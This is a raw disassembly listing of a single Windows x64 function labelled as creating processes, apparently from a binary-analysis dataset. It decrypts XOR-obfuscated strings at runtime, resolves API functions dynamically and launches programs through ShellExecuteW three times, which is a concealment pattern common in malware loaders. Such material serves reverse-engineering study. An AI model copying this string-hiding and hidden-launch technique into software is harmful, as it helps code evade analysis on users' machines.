Function at 0x1400303a0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [0x140073010]
xor rax, rsp
mov qword [rbp + 0x27], rax
xor r15d, r15d
mov qword [rbp - 0x59], r15
call fcn.140030320
test eax, eax
je 0x1400305c3
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x268c
mov eax, dword [rcx + rdi]
mov ebx, 0x1508
add rbx, rdi
test al, 1
jne 0x140030433
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rbx + 0xa], 0x1b5d9bf
mov dword [rbx], 0xdba1f010
mov dword [rbx + 4], 0x190ea3d0
mov word [rbx + 8], 0xf155
lea rcx, [0x140067fb0]
call fcn.140048870
nop
cmp byte [rbx + 0xd], 0
je 0x140030470
xor byte [rbx], 0x7b
xor byte [rbx + 1], 0x95
xor byte [rbx + 2], 0xd3
xor byte [rbx + 3], 0xb5
xor byte [rbx + 4], 0xb5
xor byte [rbx + 5], 0xcf
xor byte [rbx + 6], 0x3d
xor byte [rbx + 7], 0x2b
xor byte [rbx + 8], 0x7b
xor byte [rbx + 9], 0x95
xor byte [rbx + 0xa], 0xd3
xor byte [rbx + 0xb], 0xb5
xor byte [rbx + 0xc], 0xb5
mov byte [rbx + 0xd], 0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
movdqa xmm0, xmmword [0x14001a840]
mov dword [rbp - 0x21], 0x6bf417d7
mov dword [rbp - 0x1d], 0xe3e4dd84
mov dword [rbp - 0x19], 0x50f33286
mov word [rbp - 0x15], 0xd78e
mov ecx, 0x510
mov eax, dword [rcx + rdi]
mov edx, 0x10e0
test al, 1
jne 0x140030523
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x1f], 1
lea rax, [rbx + 0x1e]
lea rcx, [rbp - 0x13]
cmp rbx, rcx
ja 0x1400304f5
lea rcx, [rbp - 0x31]
cmp rax, rcx
jb 0x1400304f5
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp - 0x21]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp - 0x19]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp - 0x15]
mov word [rbx + 0x1c], ax
mov byte [rbx + 0x1e], 0x8d
jmp 0x140030514
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp - 0x21]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp - 0x19]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp - 0x15]
mov word [rbx + 0x1c], ax
mov byte [rbx + 0x1e], 0x8d
lea rcx, [0x140067f80]
call fcn.140048870
nop
jmp 0x140030527
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x1f], 0
je 0x1400305ac
xor byte [rbx], 0xe3
xor byte [rbx + 1], 0x51
xor byte [rbx + 2], 0x87
xor byte [rbx + 3], 0x39
xor byte [rbx + 4], 0xe1
xor byte [rbx + 5], 0xb9
xor byte [rbx + 6], 0x8d
xor byte [rbx + 7], 0x91
xor byte [rbx + 8], 0xe3
xor byte [rbx + 9], 0x51
xor byte [rbx + 0xa], 0x87
xor byte [rbx + 0xb], 0x39
xor byte [rbx + 0xc], 0xe1
xor byte [rbx + 0xd], 0xb9
xor byte [rbx + 0xe], 0x8d
xor byte [rbx + 0xf], 0x91
xor byte [rbx + 0x10], 0xe3
xor byte [rbx + 0x11], 0x51
xor byte [rbx + 0x12], 0x87
xor byte [rbx + 0x13], 0x39
xor byte [rbx + 0x14], 0xe1
xor byte [rbx + 0x15], 0xb9
xor byte [rbx + 0x16], 0x8d
xor byte [rbx + 0x17], 0x91
xor byte [rbx + 0x18], 0xe3
xor byte [rbx + 0x19], 0x51
xor byte [rbx + 0x1a], 0x87
xor byte [rbx + 0x1b], 0x39
xor byte [rbx + 0x1c], 0xe1
xor byte [rbx + 0x1d], 0xb9
xor byte [rbx + 0x1e], 0x8d
mov byte [rbx + 0x1f], 0
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400305c3
lea rcx, [rbp - 0x59]
call rax
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x10a8
mov eax, dword [rcx + rdi]
mov ebx, 0x1868
add rbx, rdi
test al, 1
jne 0x140030615
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x10], 1
mov dword [rbx], 0xc40014
mov dword [rbx + 4], 0xcb007b
mov dword [rbx + 8], 0xa70034
mov dword [rbx + 0xc], 0x69003a
lea rcx, [0x140067f40]
call fcn.140048870
nop
call fcn.140030e00
mov r14, rax
mov rcx, rax
call fcn.140041170
mov eax, 0xdf
lea r12d, [rax - 0x36]
lea r8d, [rax + 6]
cmp byte [rbx + 0x10], 0
je 0x140030662
xor word [rbx], 0x77
xor word [rbx + 2], r12w
xor word [rbx + 4], 0x1f
xor word [rbx + 6], r8w
xor word [rbx + 8], 0x51
xor word [rbx + 0xa], ax
xor word [rbx + 0xc], 0x5f
xor word [rbx + 0xe], 0x69
mov byte [rbx + 0x10], 0
mov ecx, 0x1654
mov eax, dword [rcx + rdi]
mov edx, 0x1200
test al, 1
jne 0x1400306ac
or eax, 1
mov dword [rcx + rdi], eax
lea rsi, [rdi + rdx]
mov byte [rsi + 0xa], 1
mov dword [rsi], 0xd90018
mov dword [rsi + 4], 0x8b007a
mov eax, 0x51
mov word [rsi + 8], ax
lea rcx, [0x140067f60]
call fcn.140048870
nop
mov r8d, 0xe5
jmp 0x1400306b0
lea rsi, [rdi + rdx]
cmp byte [rsi + 0xa], 0
je 0x1400306d2
xor word [rsi], 0x77
xor word [rsi + 2], r12w
xor word [rsi + 4], 0x1f
xor word [rsi + 6], r8w
xor word [rsi + 8], 0x51
mov byte [rsi + 0xa], 0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9, r14
mov r8, rbx
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rbp - 0x11], 0x4e004c
mov dword [rbp - 0xd], 0xd2006b
mov dword [rbp - 9], 0x4400f8
mov dword [rbp - 5], 0xc700dc
mov dword [rbp - 1], 0x650030
mov dword [rbp + 3], 0xe1000a
mov dword [rbp + 7], 0x7a00da
mov dword [rbp + 0xb], 0xa800fc
mov dword [rbp + 0xf], 0x740033
mov dword [rbp + 0x13], 0xe1006b
mov dword [rbp + 0x17], 0x6100d0
mov dword [rbp + 0x1b], 0xb300fa
mov dword [rbp + 0x1f], 0xd0026
mov r8d, 0x4b
mov ecx, 0x1660
mov eax, dword [rcx + rdi]
mov edx, 0x1d18
test al, 1
jne 0x1400307d8
or eax, 1
mov dword [rcx + rdi], eax
lea rsi, [rdi + rdx]
mov byte [rsi + 0x36], 1
lea rax, [rsi + 0x34]
lea rcx, [rbp + 0x23]
cmp rsi, rcx
ja 0x1400307a7
lea rcx, [rbp - 0x11]
cmp rax, rcx
jb 0x1400307a7
movups xmm0, xmmword [rbp - 0x11]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rbp - 1]
movups xmmword [rsi + 0x10], xmm1
movups xmm0, xmmword [rbp + 0xf]
movups xmmword [rsi + 0x20], xmm0
mov eax, dword [rbp + 0x1f]
mov dword [rsi + 0x30], eax
mov word [rsi + 0x34], r8w
jmp 0x1400307c9
movups xmm0, xmmword [rbp - 0x11]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rbp - 1]
movups xmmword [rsi + 0x10], xmm1
movups xmm0, xmmword [rbp + 0xf]
movups xmmword [rsi + 0x20], xmm0
mov eax, dword [rbp + 0x1f]
mov dword [rsi + 0x30], eax
mov word [rsi + 0x34], r8w
lea rcx, [0x140067e70]
call fcn.140048870
nop
jmp 0x1400307dc
lea rsi, [rdi + rdx]
mov edx, 0xe7
lea r12d, [rdx - 0x42]
lea r13d, [rdx - 0x52]
lea r14d, [rdx - 0x28]
cmp byte [rsi + 0x36], 0
je 0x14003087e
xor word [rsi], 0x63
xor word [rsi + 2], 0x2d
xor word [rsi + 4], 0x4b
xor word [rsi + 6], r12w
xor word [rsi + 8], r13w
xor word [rsi + 0xa], 0x2d
xor word [rsi + 0xc], r14w
xor word [rsi + 0xe], dx
xor word [rsi + 0x10], 0x63
xor word [rsi + 0x12], 0x2d
xor word [rsi + 0x14], 0x4b
xor word [rsi + 0x16], r12w
xor word [rsi + 0x18], r13w
xor word [rsi + 0x1a], 0x2d
xor word [rsi + 0x1c], r14w
xor word [rsi + 0x1e], dx
xor word [rsi + 0x20], 0x63
xor word [rsi + 0x22], 0x2d
xor word [rsi + 0x24], 0x4b
xor word [rsi + 0x26], r12w
xor word [rsi + 0x28], r13w
xor word [rsi + 0x2a], 0x2d
xor word [rsi + 0x2c], r14w
xor word [rsi + 0x2e], dx
xor word [rsi + 0x30], 0x63
xor word [rsi + 0x32], 0x2d
xor word [rsi + 0x34], 0x4b
mov byte [rsi + 0x36], 0
mov ecx, 0x78c
mov eax, dword [rcx + rdi]
mov r8d, 0x1be8
test al, 1
jne 0x1400308cd
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [r8 + rdi]
mov byte [rbx + 0x10], 1
mov dword [rbx], 0x400000
mov dword [rbx + 4], 0x8b002f
mov dword [rbx + 8], 0x5500f0
mov dword [rbx + 0xc], 0xe700da
lea rcx, [0x140067eb0]
call fcn.140048870
nop
mov edx, 0xe7
jmp 0x1400308d1
lea rbx, [r8 + rdi]
cmp byte [rbx + 0x10], 0
je 0x140030901
xor word [rbx], 0x63
xor word [rbx + 2], 0x2d
xor word [rbx + 4], 0x4b
xor word [rbx + 6], r12w
xor word [rbx + 8], r13w
xor word [rbx + 0xa], 0x2d
xor word [rbx + 0xc], r14w
xor word [rbx + 0xe], dx
mov byte [rbx + 0x10], 0
mov ecx, 0x23e0
mov eax, dword [rcx + rdi]
mov edx, 0xfd8
test al, 1
jne 0x140030944
or eax, 1
mov dword [rcx + rdi], eax
lea r14, [rdx + rdi]
mov byte [r14 + 0xa], 1
mov dword [r14], 0x5d000c
mov dword [r14 + 4], 0xcb002e
mov word [r14 + 8], r13w
lea rcx, [0x140067ed0]
call fcn.140048870
nop
jmp 0x140030948
lea r14, [rdi + rdx]
cmp byte [r14 + 0xa], 0
je 0x14003096f
xor word [r14], 0x63
xor word [r14 + 2], 0x2d
xor word [r14 + 4], 0x4b
xor word [r14 + 6], r12w
xor word [r14 + 8], r13w
mov byte [r14 + 0xa], 0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9, rsi
mov r8, rbx
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140030f90
mov r14, rax
mov rcx, rax
call fcn.140041060
mov r11d, 0x1f78
mov ecx, dword [r11 + rdi]
mov eax, 0xb10
test cl, 1
jne 0x1400309e7
or ecx, 1
mov dword [r11 + rdi], ecx
lea rbx, [rax + rdi]
mov byte [rbx + 0x10], 1
mov dword [rbx], 0x4200c6
mov dword [rbx + 4], 0xa700e5
mov dword [rbx + 8], 0x85005a
mov dword [rbx + 0xc], 0x490088
lea rcx, [0x140067e30]
call fcn.140048870
nop
jmp 0x1400309eb
lea rbx, [rdi + rax]
mov r13d, 0x81
lea r8d, [r13 + 8]
cmp byte [rbx + 0x10], 0
je 0x140030a2e
xor word [rbx], r12w
xor word [rbx + 2], 0x2f
xor word [rbx + 4], r13w
xor word [rbx + 6], r8w
xor word [rbx + 8], 0x3f
mov eax, 0xfd
xor word [rbx + 0xa], ax
mov eax, 0xed
xor word [rbx + 0xc], ax
xor word [rbx + 0xe], 0x49
mov byte [rbx + 0x10], 0
mov ecx, 0x1fc0
mov eax, dword [rcx + rdi]
mov edx, 0x2060
test al, 1
jne 0x140030a78
or eax, 1
mov dword [rcx + rdi], eax
lea rsi, [rdx + rdi]
mov byte [rsi + 0xa], 1
mov dword [rsi], 0x5f00ca
mov dword [rsi + 4], 0xe700e4
mov eax, 0x3f
mov word [rsi + 8], ax
lea rcx, [0x140067e50]
call fcn.140048870
nop
mov r8d, 0x89
jmp 0x140030a7c
lea rsi, [rdx + rdi]
cmp byte [rsi + 0xa], 0
je 0x140030a9e
xor word [rsi], r12w
xor word [rsi + 2], 0x2f
xor word [rsi + 4], r13w
xor word [rsi + 6], r8w
xor word [rsi + 8], 0x3f
mov byte [rsi + 0xa], 0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9, r14
mov r8, rbx
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140031150
mov r14, rax
mov rcx, rax
call fcn.140040ec0
mov eax, 0x97c
mov ecx, dword [rax + rdi]
mov edx, 0xb28
mov esi, 0x9f
lea r9d, [rsi + 0x26]
test cl, 1
jne 0x140030b20
or ecx, 1
mov dword [rax + rdi], ecx
lea rbx, [rdx + rdi]
mov byte [rbx + 0x10], 1
mov dword [rbx], 0xa000e4
mov dword [rbx + 4], 0x9f00bb
mov dword [rbx + 8], 0x50054
mov dword [rbx + 0xc], 0xc500fa
lea rcx, [0x140067da0]
call fcn.140048870
nop
lea r9d, [rsi + 0x26]
jmp 0x140030b24
lea rbx, [rdi + rdx]
mov r12d, 0x87
lea r13d, [r12 + 0x46]
lea r8d, [r12 + 0x2a]
cmp byte [rbx + 0x10], 0
je 0x140030b6a
xor word [rbx], r12w
xor word [rbx + 2], r13w
mov r10d, 0xdf
xor word [rbx + 4], r10w
xor word [rbx + 6], r8w
xor word [rbx + 8], 0x31
xor word [rbx + 0xa], 0x7d
xor word [rbx + 0xc], si
xor word [rbx + 0xe], r9w
mov byte [rbx + 0x10], 0
mov ecx, 0x86c
mov eax, dword [rcx + rdi]
mov edx, 0x16e0
test al, 1
jne 0x140030bb4
or eax, 1
mov dword [rcx + rdi], eax
lea rsi, [rdx + rdi]
mov byte [rsi + 0xa], 1
mov dword [rsi], 0xbd00e8
mov dword [rsi + 4], 0xdf00ba
mov eax, 0x31
mov word [rsi + 8], ax
lea rcx, [0x140067dc0]
call fcn.140048870
nop
mov r8d, 0xb1
jmp 0x140030bb8
lea rsi, [rdx + rdi]
cmp byte [rsi + 0xa], 0
je 0x140030bde
xor word [rsi], r12w
xor word [rsi + 2], r13w
mov eax, 0xdf
xor word [rsi + 4], ax
xor word [rsi + 6], r8w
xor word [rsi + 8], 0x31
mov byte [rsi + 0xa], 0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9, r14
mov r8, rbx
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140030320
test eax, eax
je 0x140030dd2
mov ecx, 0xdbc
mov eax, dword [rcx + rdi]
mov edx, 0x1c30
test al, 1
jne 0x140030c4a
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xa], 0x1cfc591
mov dword [rbx], 0xc78f506e
mov dword [rbx + 4], 0xb356adaa
mov word [rbx + 8], 0x512b
lea rcx, [0x140067d20]
call fcn.140048870
nop
jmp 0x140030c4e
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xd], 0
je 0x140030c8b
xor byte [rbx], 5
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0xfd
xor byte [rbx + 3], 0xa9
xor byte [rbx + 4], 0xcf
xor byte [rbx + 5], 0xc1
xor byte [rbx + 6], 0x65
xor byte [rbx + 7], 0x81
xor byte [rbx + 8], 5
xor byte [rbx + 9], 0x35
xor byte [rbx + 0xa], 0xfd
xor byte [rbx + 0xb], 0xa9
xor byte [rbx + 0xc], 0xcf
mov byte [rbx + 0xd], 0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
movdqa xmm0, xmmword [0x14001a740]
mov dword [rbp - 0x41], 0xdaa964f3
mov dword [rbp - 0x3d], 0xead92b5
mov dword [rbp - 0x39], 0xd09263d6
mov word [rbp - 0x35], 0xfbbf
mov ecx, 0x1e10
mov eax, dword [rcx + rdi]
mov edx, 0x1358
test al, 1
jne 0x140030d36
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x1e], 1
lea rax, [rbx + 0x1d]
lea rcx, [rbp - 0x34]
cmp rbx, rcx
ja 0x140030d0c
lea rcx, [rbp - 0x51]
cmp rax, rcx
jb 0x140030d0c
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp - 0x41]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp - 0x39]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp - 0x35]
mov word [rbx + 0x1c], ax
jmp 0x140030d27
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp - 0x41]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp - 0x39]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp - 0x35]
mov word [rbx + 0x1c], ax
lea rcx, [0x140067cf0]
call fcn.140048870
nop
jmp 0x140030d3a
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x1e], 0
je 0x140030dbb
xor byte [rbx], 0xb5
xor byte [rbx + 1], 0x17
xor byte [rbx + 2], 0xfb
xor byte [rbx + 3], 0xbf
xor byte [rbx + 4], 0xd1
xor byte [rbx + 5], 0xfb
xor byte [rbx + 6], 0xdf
xor byte [rbx + 7], 0x6b
xor byte [rbx + 8], 0xb5
xor byte [rbx + 9], 0x17
xor byte [rbx + 0xa], 0xfb
xor byte [rbx + 0xb], 0xbf
xor byte [rbx + 0xc], 0xd1
xor byte [rbx + 0xd], 0xfb
xor byte [rbx + 0xe], 0xdf
xor byte [rbx + 0xf], 0x6b
xor byte [rbx + 0x10], 0xb5
xor byte [rbx + 0x11], 0x17
xor byte [rbx + 0x12], 0xfb
xor byte [rbx + 0x13], 0xbf
xor byte [rbx + 0x14], 0xd1
xor byte [rbx + 0x15], 0xfb
xor byte [rbx + 0x16], 0xdf
xor byte [rbx + 0x17], 0x6b
xor byte [rbx + 0x18], 0xb5
xor byte [rbx + 0x19], 0x17
xor byte [rbx + 0x1a], 0xfb
xor byte [rbx + 0x1b], 0xbf
xor byte [rbx + 0x1c], 0xd1
xor byte [rbx + 0x1d], 0xfb
mov byte [rbx + 0x1e], 0
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140030dd2
mov rcx, qword [rbp - 0x59]
call rax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140048740
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret